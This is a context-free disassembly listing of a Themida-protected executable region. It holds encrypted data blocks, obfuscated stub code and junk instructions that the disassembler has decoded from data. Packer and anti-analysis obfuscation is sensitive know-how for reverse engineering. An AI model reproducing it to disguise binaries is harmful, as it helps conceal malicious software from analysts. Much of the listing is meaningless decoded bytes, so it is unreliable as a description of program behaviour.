		dd 2B859D8Bh, 85C6060Fh, 60F24FDh, 0B8526856h, 0B5FF9CA8h
		dd 60F2CA1h, 72E7858Dh,	0D0FF0612h, 68046Ah, 0FF000010h
		dd 0F2561B5h, 0FF006A06h, 0FC085D0h, 0D85h, 0B800h, 8D8D0000h
		dd 60F707Bh, 0C88BE1FFh, 4003C38Bh, 0F8053Ch, 508B0000h
		dd 83D3030Ch, 0F1D05BDh, 840F0006h, 0Eh, 1D059D8Bh, 858B060Fh
		dd 60F2811h, 52510389h,	7A25858Dh, 0D0FF060Fh, 0F18BFA8Bh
		dd 0C88BD18Bh, 85C6A4F3h, 60F24FDh, 6D396856h, 0B5FFD41Fh
		dd 60F2CA1h, 72E7858Dh,	0D0FF0612h, 800068h, 52006A00h
		dd 0C08BD0FFh, 1891BD83h, 7500060Fh, 0ADBD8309h, 60F26h
		dd 53501974h, 21B8C08Bh, 89000004h, 0F294185h, 1F9D8D06h
		dd 0FF0611B0h, 83585BD3h, 0F26ADBDh, 17740006h,	21B85350h
		dd 89000004h, 0F294185h, 0C09D8D06h, 0FF0611ACh, 8B585BD3h
		dd 59D8DC0h, 8B060F1Dh,	0FC00B03h, 784h, 8B038B00h, 1889045Bh
		dd 4B41B8h, 0CE800h, 0F2F20000h, 7888522Fh, 0DF6D85E8h
		dd 0E9590423h, 8, 6EE177E3h, 28F0D157h,	0DFF0C181h, 68FC0000h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5C065B
; ---------------------------------------------------------------------------
		db 0Eh,	6Ch, 0B3h
		db 5Bh,	82h, 0C9h
; ---------------------------------------------------------------------------


loc_5C065B:				; CODE XREF: Themida_:005C0650j
		pop	edx
		mov	ax, 2BCAh


loc_5C0660:				; CODE XREF: Themida_:loc_5C0737j
		push	dword ptr [edx+ecx]
		mov	bx, 0AC76h
		pop	esi
		jge	loc_5C0684
		call	sub_5C067E
		sbb	[ebx], al
		add	edi, esp
		fidiv	word ptr [eax-1C3255ACh]
		stc

; =============== S U B	R O U T	I N E =======================================



sub_5C067E	proc near		; CODE XREF: Themida_:005C066Ep
		sbb	bx, 0CA64h
		pop	edi


loc_5C0684:				; CODE XREF: Themida_:005C0668j
		sub	esi, 1EE30345h
		movsx	ebx, dx
		xor	esi, 29277991h
		mov	ah, 0CFh
		add	esi, 4874612Dh
		jmp	loc_5C06B1
; ---------------------------------------------------------------------------
		test	[ebx+76B90F53h], dh
		cld
		retn
; ---------------------------------------------------------------------------
		dd 208762CDh, 0E68748BFh
; ---------------------------------------------------------------------------
		push	ds


loc_5C06B1:				; CODE XREF: sub_5C067E+1Dj
		push	esi
		jo	loc_5C06BD
		sub	di, 505Eh


loc_5C06BD:				; CODE XREF: sub_5C067E+34j
		pop	dword ptr [ecx+edx]
		jno	loc_5C06D2
		jl	loc_5C06D2
		add	eax, 157F303h


loc_5C06D2:				; CODE XREF: sub_5C067E+42j
					; sub_5C067E+48j
		call	near ptr loc_5C06E4+3
		test	byte ptr [esi+ebp*2-113907ACh],	1Ch
		lea	ebx, [edx+ebx*8]
		xchg	eax, edx
		lodsb


loc_5C06E4:				; CODE XREF: sub_5C067E:loc_5C06D2p
		mov	esi, 5FF58435h
sub_5C067E	endp ; sp-analysis failed

		sub	edx, 2
		jno	loc_5C06F5
		adc	bl, 8Bh


loc_5C06F5:				; CODE XREF: Themida_:005C06ECj
		dec	edx
		dec	edx
		mov	ax, dx
		cmp	edx, 0FFFF2124h
		jnz	loc_5C072E
		jmp	loc_5C0715
; ---------------------------------------------------------------------------
		db 52h
		dd 6FF7AA06h, 8C9E3926h
; ---------------------------------------------------------------------------
		push	ss


loc_5C0715:				; CODE XREF: Themida_:005C0706j
		jmp	loc_5C0742
; ---------------------------------------------------------------------------
		xor	al, 37h
		xchg	eax, ebx
		enter	2A2Ah, 74h
		retf
; ---------------------------------------------------------------------------
		mov	bl, bh
		add	esi, [ebx+ecx]
		xchg	eax, edx
		xor	edx, ebx
		pop	esp
		mov	[edx+1Bh], dl


loc_5C072E:				; CODE XREF: Themida_:005C0700j
		jnz	loc_5C0737
		movsx	ebx, si


loc_5C0737:				; CODE XREF: Themida_:loc_5C072Ej
		jmp	loc_5C0660
; ---------------------------------------------------------------------------
		dd 3587ED72h
; ---------------------------------------------------------------------------
		and	ebx, [edx]


loc_5C0742:				; CODE XREF: Themida_:loc_5C0715j
		lea	ebx, [ebp+60F1391h]
		mov	eax, 1434h
		mov	[ebp+60F2C45h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5C1B99
; ---------------------------------------------------------------------------
		align 4
		dd 50Ch	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5C1B99:				; CODE XREF: Themida_:005C0760j
		lea	ecx, [ebp+6166D40h]
		push	0
		push	ebp
		call	sub_5C1BAA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1BAA	proc near		; CODE XREF: Themida_:005C1BA2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C1BAA	endp

; ---------------------------------------------------------------------------
		dw 0EED9h
		dd 89673A6Dh, 0F2C658Dh, 0F38B6606h, 7C185C7h, 5E90060Fh
		dd 8B660000h, 0A7E380F1h, 249185C7h, 60Fh, 8B660000h, 4D8D29FBh
		dd 0FF060F01h, 0F1605B5h, 55950106h, 0FF060F2Bh, 0F2A0595h
		dd 79BD8906h, 6A060F1Ah, 5195FF00h, 8B060F34h, 0BE1DEBC0h
		dd 22BD6166h, 8D3A53F0h, 0A8484A5Ah, 0FC74651Dh, 7C7E5AD9h
		dd 91E62058h, 38F5E8C8h, 4D350CEBh, 0A062242Dh,	4BFA2497h
		dd 79E95A44h, 0E9000005h, 56Dh,	7C91B4CDh, 0C213C59h, 9FB4AFE9h
		dd 3045D87Ch, 0BDD2750Dh, 0E67A0A9Ch, 740B2E43h, 0FE99BCD1h
		dd 552B4E63h, 610EDDF2h, 0EDE147B0h, 0E0F9F066h, 692C3D53h
		dd 4DAA4DFEh, 0D0856D04h, 42DD789Bh, 4673A85Dh,	58D97C13h
		dd 0A587D073h, 5E32E09Bh, 12F72CCDh, 0FE613265h, 22055A7Dh
		dd 63C69A3Dh, 0AD87DB7Eh, 0C3AAFAE3h, 4DDE4AA0h, 408A0465h
		dd 4EF1D60Bh, 89361B06h, 0A5260156h, 684DD082h,	608D90C5h
		dd 12F76A2Dh, 0ABF7DC5Dh, 0FEAFECEEh, 6D042DF9h, 0FE8893Eh
		dd 286D042Eh, 60113E73h, 6B1202F7h, 3A68B40h, 96B9CE51h
		dd 0CF7C61FCh, 8267FA9Ch, 78AD88DFh, 7FE556F7h,	0A2F34929h
		dd 2137DABFh, 0B4892106h, 0E37E18D7h, 1C6BC0AEh, 0E8AC85CFh
		dd 5F2B4075h, 0BA6B983Ah, 46E455A9h, 9FBA3975h,	0A8A8A063h
		dd 0C9AE6327h, 0DDF26D26h, 0A18699BAh, 0D184B7F4h, 4C4AAD4Eh
		dd 0CB7C4AC9h, 4AC94C2Ch, 0D58A4E03h, 3CD0B354h, 0E83D2D4Ah
		dd 180B4C9Bh, 829DB8EBh, 7920EC01h, 0C77B2C59h,	0FE6A50E7h
		dd 1A3A3B5Bh, 386D2207h, 7CE7B053h, 0C2D1247h, 664EE6EFh
		dd 829BE82Dh, 455A8E96h, 7D7h, 3199BE00h, 3, 381D0053h
		dd 213C588Bh, 48DB7DA0h, 0E81B5863h, 1DD2B792h,	3B88D79Ch
		dd 0CDF00518h, 5B2978Ah, 73C2EAC9h, 0FE7F89A9h,	0BB80AD0Fh
		dd 8EE215ACh, 9011C6ABh, 32492A6Dh, 487D3217h, 0DB461033h
		dd 200353F6h, 0F205B6F3h, 3D6D035Eh, 0C7975C88h, 0E51C67C6h
		dd 0B1867F64h, 0E04315D2h, 4FEA80B3h, 4918B9CEh, 1F2DB162h
		dd 0B8DBF04Bh, 0A388A3h, 70A3D06Bh, 0A9563B26h,	4D6DFFF8h
		dd 4E83382Ch, 6D877021h, 0FBB02C4Dh, 0D227957Ah, 62136B5h
		dd 0CEB9CD9h, 232C4D6Eh, 0FBD8ED6Eh, 0AAh, 0E5EDAA62h
		dd 24075D00h, 0B7AAEC0Fh, 4E46B1D2h, 673C6D04h,	9689CB18h
		dd 2E095E81h, 9FBACE01h, 9F8405BAh, 8DA8BFF2h, 84D0F3A8h
		dd 7EFFB499h, 3D22055Bh, 0DEED7ACFh, 4E81AE89h,	859A1B06h
		dd 263C0D62h, 46691E03h, 0FDE21732h, 0E6791D50h, 0A8CB4C01h
		dd 979075D0h, 5126A5C2h, 0A0D57008h, 72853673h,	0BD6D044Eh
		dd 4F728708h, 0C5D323Bh, 0BEA3D84Bh, 4D976011h,	0EBA06D04h
		dd 2D9C81B6h, 235F8C90h, 125EB1AFh, 0FABF4090h,	2F0A5E6Dh
		dd 0D35CF71Ah, 80659ABDh, 3639B5Fh, 1A692E6Dh, 82978ACDh
		dd 0EF722255h, 53656Eh,	1B005B2Fh, 92C4366h, 0B4CEFD4h
		dd 0A0B8EB18h, 7C1F0485h, 0BF6247DAh, 12E596A9h, 1D6D044Eh
		dd 0AB4E3368h, 18ED78EBh, 5FA46A4Bh, 8D90C300h,	49F7D778h
		dd 10FD6D04h, 4C0FEE09h, 0FFFF1462h, 0A0F225FFh, 0A223D8BDh
		dd 0E3EFAA99h, 452505B6h, 0BB706B0Bh, 0C5D33D6h, 0B1ACE677h
		dd 0F32477Ch, 56F9DE79h, 0D03E233Eh, 89DFEC7Bh,	0E07699AEh
		dd 0B8DC1845h, 478567A0h, 0FC1D0283h, 66F4A0FEh, 4C95F237h
		dd 9FF57E19h, 0ED22D7BCh, 0AFD25308h, 3C697ED9h, 1991600h
		dd 1E3879E6h, 2A4DCE03h, 5F0CF154h, 10F5682Ch, 21D385Bh
		dd 0E4B581h, 6D9ACF6Ah,	0FC2786BCh, 6314C164h, 6D042694h
		dd 9CB1E69Bh, 0DC09C9D0h, 11FC342Bh, 0F1D68B6Bh, 51A054Eh
		dd 0C9AEB1E2h, 298393A8h, 9093C549h, 0D14C08ABh, 7C1437ECh
		dd 69AEF4D9h, 0F330BB1Ah, 0A68B96C0h, 0DCAB70F1h, 9ABDD205h
		dd 0C25DF619h, 52F58AADh, 9689CA6Dh, 7C7B2C69h,	0B348D685h
		dd 0AADF7A10h, 0A0E54429h, 2CDE3AC3h, 427E27E2h, 484B40C4h
		dd 77D3D95Eh, 351057Ah,	0B1314DCEh, 0F4000000h,	19F58EB8h
		dd 1293FAF1h, 27025309h, 44E8176h, 0CC01B66Dh, 33166C9Fh
		dd 7513A24Eh, 7FC699BAh, 91B4C94Ah, 24475CC7h, 0B5D8ED70h
		dd 42657ADDh, 0D3F60B2Eh, 618499BCh, 75823336h,	0BA6D0422h
		dd 70A3D005h, 0A5BA3B26h, 3449EC82h, 0E415CB07h, 7268D41Ch
		dd 381D384Fh, 8BDF0283h, 0CF7CCBB0h, 8166F99Ch,	0C3664BCCh
		dd 2A58AADh, 42E5CA6Dh,	30290E11h, 34AD0C5Bh, 6A17005Fh
		dd 4003EB9h, 2F44F96Dh,	849EFB60h, 5000000h, 0EA7EB1EEh
		dd 34B56A4Fh, 44E6593h,	2542176Dh, 49AE5F9Ch, 856D044Eh
		dd 44E23D4h, 93570C6Dh,	0ADC65DDEh, 0A1F0253h, 6EBBADE7h
		dd 61201F69h, 19738CB9h, 74A9D82Bh, 4F072A3Fh, 0C49CBFD4h
		dd 51294C61h, 77B4E1F6h, 37131C6h, 0A859066Dh, 6D03714Fh
		dd 7DFE33E8h, 0D22055Ah, 0B2C8A9EAh, 0C8FDB297h, 5FFA90B3h
		dd 0AAE11D4Ah, 0BA0D6351h, 0CDDBA3Bh, 44000000h, 2D6D0D49h
		dd 0FA4D0C00h, 53D1DA79h, 93361B3Eh, 0D2755AFDh, 16B99E81h
		dd 5E01E641h, 0A74A2F0Ah, 0F09378D3h, 31D4B9A4h, 7417FC67h
		dd 0F7593E21h, 81595451h, 4C1h,	4E98300h, 5C240C87h, 4B0668h
		dd 240C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	0FEDh
		mov	[esp], edi
		mov	edi, 6166D7Ah
		mov	ecx, edi
		pop	edi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		pop	ebp
		mov	[edx+8], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		cmp	[ebx+edi*8], dl
		aas
		das


loc_5C21A9:				; CODE XREF: Themida_:005C2203j
		jns	short loc_5C21E9
		test	eax, 0F1068BE9h
		inc	ebp
		mov	eax, 616727Ah
		add	eax, ebp
		mov	edx, ebx
		jmp	loc_5C21FA
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+60F2BF1h]
		sub	edi, 4
		xor	ecx, ecx


loc_5C21CB:				; CODE XREF: Themida_:005C21F2j
		mov	eax, ecx
		mov	ebx, 0EDB88320h
		add	edi, 4
		mov	esi, 8


loc_5C21DA:				; CODE XREF: Themida_:005C21E3j
		shr	eax, 1
		sbb	edx, edx
		and	edx, ebx
		xor	eax, edx
		dec	esi
		jnz	loc_5C21DA


loc_5C21E9:				; CODE XREF: Themida_:loc_5C21A9j
		inc	ecx
		mov	[edi], eax
		cmp	ecx, 100h
		jb	loc_5C21CB
		popa

locret_5C21F9:				; CODE XREF: Themida_:005C2201j
		retn
; ---------------------------------------------------------------------------


loc_5C21FA:				; CODE XREF: Themida_:005C21BAj
		mov	ecx, eax
		push	ebp
		in	eax, dx
		std
		jnz	short loc_5C225F ; CODE	XREF: Themida_:005C2267j
		jp	short locret_5C21F9
		jbe	short loc_5C21A9
		imul	esp, esi, 0FD49BC56h
		pop	edi
		in	eax, dx
		db	26h
		std
		mov	ebp, 0F2FD26C0h
		xlat
		db	26h
		std


loc_5C2217:				; CODE XREF: Themida_:005C2287j
		push	eax
		pop	ebp
		db	26h
		std
		inc	edx
		cwde
		db	26h
		std
		cmp	[edx+26h], bh
		std
		add	[ebx], ecx
		db	26h
		std
		out	0B3h, al	; Interrupt Controller #2, 8259A
		db	26h
		std
		fucomp	st(7)
		db	26h
		std
		sbb	al, al
		db	26h
		std
		rcl	edi, 1
		db	26h
		std
		dec	edx


loc_5C2238:				; CODE XREF: Themida_:005C226Bj
		pop	edi


loc_5C2239:				; CODE XREF: Themida_:005C227Bj
		db	26h
		std
		xchg	eax, edi
		cwde
		db	26h
		std
		jz	short loc_5C22BC
		db	26h
		std
		push	ecx
		or	ah, [esi]
		std
		sbb	eax, 61FD26B1h
		in	eax, dx
		db	26h
		std
		popf
		and	eax, 2295358Ah
		mov	ds:714A76D6h, al
		ficomp	word ptr [ebp+edi*4+4Bh] ; CODE	XREF: Themida_:005C2265j


loc_5C225E:				; CODE XREF: Themida_:005C226Fj
		hlt
; ---------------------------------------------------------------------------


loc_5C225F:				; CODE XREF: Themida_:005C21FFj
		pop	esp


loc_5C2260:				; CODE XREF: Themida_:005C2261j
		pop	edx
		jp	short loc_5C2260
		jnz	short near ptr loc_5C2289+3
		jb	short near ptr loc_5C225A+2
		jnz	short near ptr loc_5C21FF+1 ; CODE XREF: Themida_:005C2269j
					; Themida_:005C2271j ...
		jns	short near ptr loc_5C2267+1
		jz	short loc_5C2238 ; CODE	XREF: Themida_:005C226Dj
		js	short near ptr loc_5C226B+1
		jnb	short loc_5C225E
		jge	short near ptr loc_5C2267+1


loc_5C2273:				; CODE XREF: Themida_:005C2275j
		jz	short near ptr loc_5C2267+1
		jnp	short loc_5C2273


loc_5C2277:				; CODE XREF: Themida_:005C2279j
		jz	short near ptr loc_5C22ED+4
		jnp	short loc_5C2277
		jnz	short loc_5C2239 ; CODE	XREF: Themida_:005C227Dj
		jp	short near ptr loc_5C227B+1
		jnz	short loc_5C22DF ; CODE	XREF: Themida_:005C2281j
		jp	short near ptr loc_5C227F+1
		jbe	short near ptr loc_5C22BC+3
		cmc
		cmpsb
		jnz	short loc_5C2217


loc_5C2289:				; CODE XREF: Themida_:005C2263j
		jmp	far ptr	75FDh:7ACB75A6h
; ---------------------------------------------------------------------------
		dd 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh,	73EB0D14h
		dd 67CFFA6h, 0F0707C81h, 73EB0DABh, 6BCFF6Ch, 0F0707CE4h
; ---------------------------------------------------------------------------


loc_5C22B8:				; CODE XREF: Themida_:loc_5C22DFj
		out	0Dh, eax	; DMA controller, 8237A-5.
					; master clear.
					; Any OUT clears the ctrlr (must be re-initialized)
		jmp	short loc_5C232F
; ---------------------------------------------------------------------------


loc_5C22BC:				; CODE XREF: Themida_:005C223Fj
					; Themida_:005C2283j
		xor	eax, 480680FFh
		jl	short loc_5C2333
		lock ror dword ptr [ebx+ebp*8],	1
		jnb	short loc_5C22E7
; ---------------------------------------------------------------------------
		db 0FFh, 0B8h, 6
		dd 0F0707CDDh, 73EB0C58h, 6B4FF7Bh, 0F0707C6Fh
		db 0E7h, 0Fh, 0EBh
; ---------------------------------------------------------------------------


loc_5C22DF:				; CODE XREF: Themida_:loc_5C227Fj
		jnb	short loc_5C22B8
		push	dword ptr [eax+707C3906h]


loc_5C22E7:				; CODE XREF: Themida_:005C22C7j
		lock cli
		por	mm6, qword ptr [ebx+42h]


loc_5C22ED:				; CODE XREF: Themida_:loc_5C2277j
		jmp	fword ptr [esi+eax-0F8F830Dh]
; ---------------------------------------------------------------------------
		dd 73EB0F71h, 6A8FFF0h,	0F0707CAAh, 73EB0F80h, 69CFFA6h
		db 81h,	7Ch, 70h
; ---------------------------------------------------------------------------


loc_5C230B:				; CODE XREF: Themida_:005C2363j
		lock popa
		por	mm6, qword ptr [ebx+6Ch]
		jmp	dword ptr [esi+eax-0F8F831Ch]
; ---------------------------------------------------------------------------


loc_5C2318:				; CODE XREF: Themida_:005C233Fj
		mov	al, 0Fh
		jmp	short loc_5C238F
; ---------------------------------------------------------------------------
		dd 6A0FF35h, 0F0707C48h, 73EB0FF1h, 69CFF1Eh
		db 0DDh, 7Ch, 70h
; ---------------------------------------------------------------------------


loc_5C232F:				; CODE XREF: Themida_:005C22BAj
		lock std
		or	al, 0EBh


loc_5C2333:				; CODE XREF: Themida_:005C22C1j
		jnb	short loc_5C23B0
		dec	dword ptr [esi+eax-0F8F8391h]
		mov	ecx, [ebx+ebp*8]
		jnb	short loc_5C2318
		dec	dword ptr [eax+707C3906h]
		lock int 0Ch		; CODE XREF: Themida_:005C2357j
					;  - IRQ4 - COM1 INTERRUPT
		jmp	short near ptr loc_5C23BE+1
; ---------------------------------------------------------------------------
		inc	edx
		inc	dword ptr [esi+eax-0F8F830Dh]


loc_5C2354:				; CODE XREF: Themida_:005C23BAj
		push	ecx
		or	al, 0EBh
		jnb	short near ptr loc_5C2347+2
		call	fword ptr [eax+707CAA06h] ; CODE XREF: Themida_:005C23ADj
		lock test [ebx+ebp*8], cl
		jnb	short loc_5C230B
		call	dword ptr [esi+eax-0F8F837Fh]
		mov	esi, 6C73EB0Dh
		call	dword ptr [eax+767CE406h]
		lock xor al, 62h
		repne jnb short	loc_5C23B2
		inc	dword ptr [edi+6]
		dec	eax
		jl	short loc_5C23F9
		lock ficomp word ptr [ebx-0Eh]
		jnb	short loc_5C23A7
		inc	dword ptr [ebx+6]
; ---------------------------------------------------------------------------
		db 0DDh, 7Ch, 9Ch
; ---------------------------------------------------------------------------


loc_5C238F:				; CODE XREF: Themida_:005C231Aj
		mov	dh, 0B0h
		icebp
		adc	[ebp+75FD7AF2h], ebx
		and	edi, ebx
		pop	ss
		mov	ebx, 25FB6CC8h
		aad	3Fh
		cmc
		std
		lodsd
		retn
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------


loc_5C23A7:				; CODE XREF: Themida_:005C2387j
		arpl	[ecx-3048CBDEh], dx
		jp	short near ptr loc_5C2359+2
; ---------------------------------------------------------------------------
		db 23h
; ---------------------------------------------------------------------------


loc_5C23B0:				; CODE XREF: Themida_:loc_5C2333j
		mov	bh, 29h


loc_5C23B2:				; CODE XREF: Themida_:005C237Aj
		lodsd
		and	[edx], bl	; CODE XREF: Themida_:005C23B5j
		jp	short near ptr loc_5C23B3+1
		jnz	short loc_5C2432
		daa
		jl	short loc_5C2354
		push	ebx
		push	cs


loc_5C23BE:				; CODE XREF: Themida_:005C234Aj
					; Themida_:005C241Dj
		jmp	short near ptr loc_5C2432+1
; ---------------------------------------------------------------------------


loc_5C23C0:				; CODE XREF: Themida_:005C2427j
		mov	al, ds:3906BDFFh
		jl	short loc_5C2444
		enter	9D7h, 0EBh
; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------

locret_5C23CC:				; CODE XREF: Themida_:005C23FBj
		iret
; ---------------------------------------------------------------------------
		db 9, 0B4h, 0C5h
		dd 0B54B75E4h, 3589BAF9h, 643EF86h
		db 0AAh, 7Ch, 0BDh
byte_5C23DF	db 0FEh			; CODE XREF: Themida_:005C2454j
		dd 7A452B96h, 8AFD7A2Fh, 638EC402h, 3448F7CDh, 0F8FB6C96h
		dd 9D50FCC6h
; ---------------------------------------------------------------------------


loc_5C23F8:				; CODE XREF: Themida_:loc_5C23F9j
		dec	ebx


loc_5C23F9:				; CODE XREF: Themida_:005C2381j
		jle	short loc_5C23F8
		jnz	short locret_5C23CC
		outsd
		inc	ebp
		jbe	short loc_5C245F ; CODE	XREF: Themida_:005C2401j
		jp	short near ptr loc_5C23FF+1
		mov	bh, [edx-6E9C713Ch]
		test	dword ptr [eax+34h], 0F8FB6CB8h
		sar	esp, 1
		push	eax
		mov	ah, [edx]
		and	ebx, [edi]


loc_5C2417:				; CODE XREF: Themida_:005C243Bj
		mov	esp, 6BDF787h
		stosb
		jl	short near ptr loc_5C23BE+1
		sub	eax, 2CA32005h
		in	al, dx
		xchg	eax, edx
		insd
		ja	short loc_5C23C0
		jp	short loc_5C2478
		int	0C1h		; used by BASIC	while in interpreter
		jns	short loc_5C2486
		mov	dh, [eax-40h]


loc_5C2432:				; CODE XREF: Themida_:005C23B7j
					; Themida_:loc_5C23BEj
		mov	fs, word ptr [ebx-0Ch]
		sar	dword ptr [esi], 1
		popf


loc_5C2438:				; CODE XREF: Themida_:005C2439j
		pop	es
		js	short loc_5C2438
		jnz	short loc_5C2417
		retn	0CD9Bh
; ---------------------------------------------------------------------------
		dd 0DE9B5954h
; ---------------------------------------------------------------------------


loc_5C2444:				; CODE XREF: Themida_:005C23C5j
		shr	bh, 1
		inc	edi
		push	es
		cmp	dword ptr [ebx+ebx*4-22h], 77959208h
		in	eax, 7Ah
		or	esi, [esi]
		rep jb short near ptr byte_5C23DF
		outsb
		xchg	ch, bh
		inc	edi
		push	es
		stosb
		jl	short locret_5C24AC


loc_5C245F:				; CODE XREF: Themida_:loc_5C23FFj
		lds	edx, [ecx+edi*2-53h]
		mov	bh, [edx-6E9C7140h]
		and	[ebx-6481D40Ah], bl
		jle	short near ptr loc_5C2497+1
		sbb	al, 56h
		mov	dh, 1Ah
		imul	edi, 75h


loc_5C2478:				; CODE XREF: Themida_:005C2429j
		jns	short near ptr loc_5C24A2+1
		adc	eax, 0FD7ABE4Eh
		das
		mov	al, gs:59A57B89h


loc_5C2486:				; CODE XREF: Themida_:005C242Dj
		cmp	eax, 0DF709491h
		cmc
		pop	es
		mov	edx, 0D183FE4Dh
		db	3Eh
		popf
		add	[ebx-3], bh


loc_5C2497:				; CODE XREF: Themida_:005C246Fj
		jnz	short loc_5C24C3
		xchg	eax, edx
		loope	loc_5C2513
		mov	esp, 844EA77Ah
		push	cs


loc_5C24A2:				; CODE XREF: Themida_:loc_5C2478j
		adc	al, ch
		dec	ecx
		rcl	byte ptr [esi],	1
		test	eax, 75FCA77Fh	; CODE XREF: Themida_:005C24C9j

locret_5C24AC:				; CODE XREF: Themida_:005C245Dj
		retf
; ---------------------------------------------------------------------------
		db 8Ch,	0BEh, 74h
		dd 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh
		db 65h,	0A0h, 89h
; ---------------------------------------------------------------------------


loc_5C24C3:				; CODE XREF: Themida_:loc_5C2497j
		push	913D59A5h
		xchg	eax, esp
		jo	short near ptr loc_5C24A7+3
		cmc
		pop	es
		mov	edx, 85B5FF4Dh
		push	0FB6C81CFh
		das
		pop	ds
		pop	edi
		std
		push	ecx
		fidiv	dword ptr [ecx+3Fh]
		adc	esi, ebp
		mov	ecx, 9285E94Dh
		mov	ebp, 4D7A9774h
		hlt
; ---------------------------------------------------------------------------
		dd 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h,	0DF60CABCh
		dd 0DF61CA9Dh, 75FC5BC7h, 13451C97h
; ---------------------------------------------------------------------------
		dec	edx
		sbb	al, 56h


loc_5C250F:				; CODE XREF: Themida_:005C251Fj
		popf


loc_5C2510:				; CODE XREF: Themida_:005C2511j
		inc	ebx
		jnp	short loc_5C2510


loc_5C2513:				; CODE XREF: Themida_:005C249Aj
		jnz	short loc_5C252F
		dec	esp


loc_5C2516:				; CODE XREF: Themida_:loc_5C252Fj
		std
		jnz	short loc_5C2592
		sbb	al, 56h
		popf
		mov	dh, 7Bh
		std
		jnz	short loc_5C250F
		out	57h, eax
		mov	dh, 9Fh
		out	57h, al
		popf
		imul	edi, [edx-3], 0FCF32375h


loc_5C252F:				; CODE XREF: Themida_:loc_5C2513j
		jnz	short loc_5C2516
; ---------------------------------------------------------------------------
		db 8Ch,	0BEh, 74h
		dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
		dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 643EF0Dh,	0C0707C6Fh
		dd 73EB0939h, 7F518A5Dh, 0E002D02Ch, 73EB092Dh,	74E59208h
		dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
		dd 0C53ED02Ch, 274DD0C7h, 8BE19261h
		db 1Ah,	85h
; ---------------------------------------------------------------------------


loc_5C2592:				; CODE XREF: Themida_:005C2517j
		wait
		int	0FDh
		dec	ebx
		wait
		ficom	word ptr [ecx+438A036Bh]
		retf	0DFA7h
; ---------------------------------------------------------------------------
		dd 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h
		dd 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h
		dd 6CAFF69h, 0C87D7CDDh, 73EB09D2h, 0F8EC0FF3h,	638ED3FCh
		dd 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h
		dd 8A00C30Dh, 0DF9CCA0Dh, 6CAF787h, 0C87D7CAAh,	73EB0969h
		dd 0F8F10F2Fh, 638ED312h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah
		dd 0CB688579h, 0F8FB6CCFh, 63857CC3h, 6DF9F029h, 9C4DB93Dh
		dd 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h
		dd 638EC0CBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h,	75C9924Eh
		dd 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h
		dd 647EF68h, 917D7CDDh,	0F539FAEAh, 0DE9B7542h,	5A15D12Eh
		dd 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh
		dd 638EC470h, 0E860F7F4h, 0F8FB6C0Ah, 0CD3E39A0h, 75FD7A4Eh
		dd 643EFD0h, 0B57E7C81h, 8935F1CEh, 647EF1Ah, 97577CE4h
		dd 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh
		dd 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh
		dd 6317FB04h, 0FCFB6C57h, 0CF7D86EAh, 73EB0972h, 0EC7975E5h
		dd 0CDFD7AF2h, 75FD7A73h, 643E843h, 0FCBD7C48h,	638EB8ADh
		dd 0F835F191h, 63859079h, 0CF6F85E3h, 0FDFB6C81h, 801F3C7Fh
		dd 75FD6D04h, 0B77F795Eh, 35FB6C5Ch, 0D23E01Ah,	0B67E7CDDh
		dd 22FEF3E1h, 75FD644Bh, 0B7777979h, 0F8FB6CCFh, 6385B6ECh
		dd 2B598929h, 75FD722Fh, 0CB6F85CBh, 0F6FB6C96h, 85897E0Ah
		dd 72447C71h, 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h,	75FD742Eh
		dd 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh
		dd 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h
		dd 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah,	0E9055E6Bh
		dd 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h,	75FD7A79h
		dd 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh, 0D009016h,	0CF707CDDh
		dd 73EB0923h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch
		dd 63BE7A2h, 497D7C81h,	71887BD3h, 771683BEh, 203E82A9h
		dd 9D9D96F2h, 75FD7ABCh, 4317FB04h, 0F8FB6C56h,	638EBC25h
		dd 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h, 0B340F7DCh
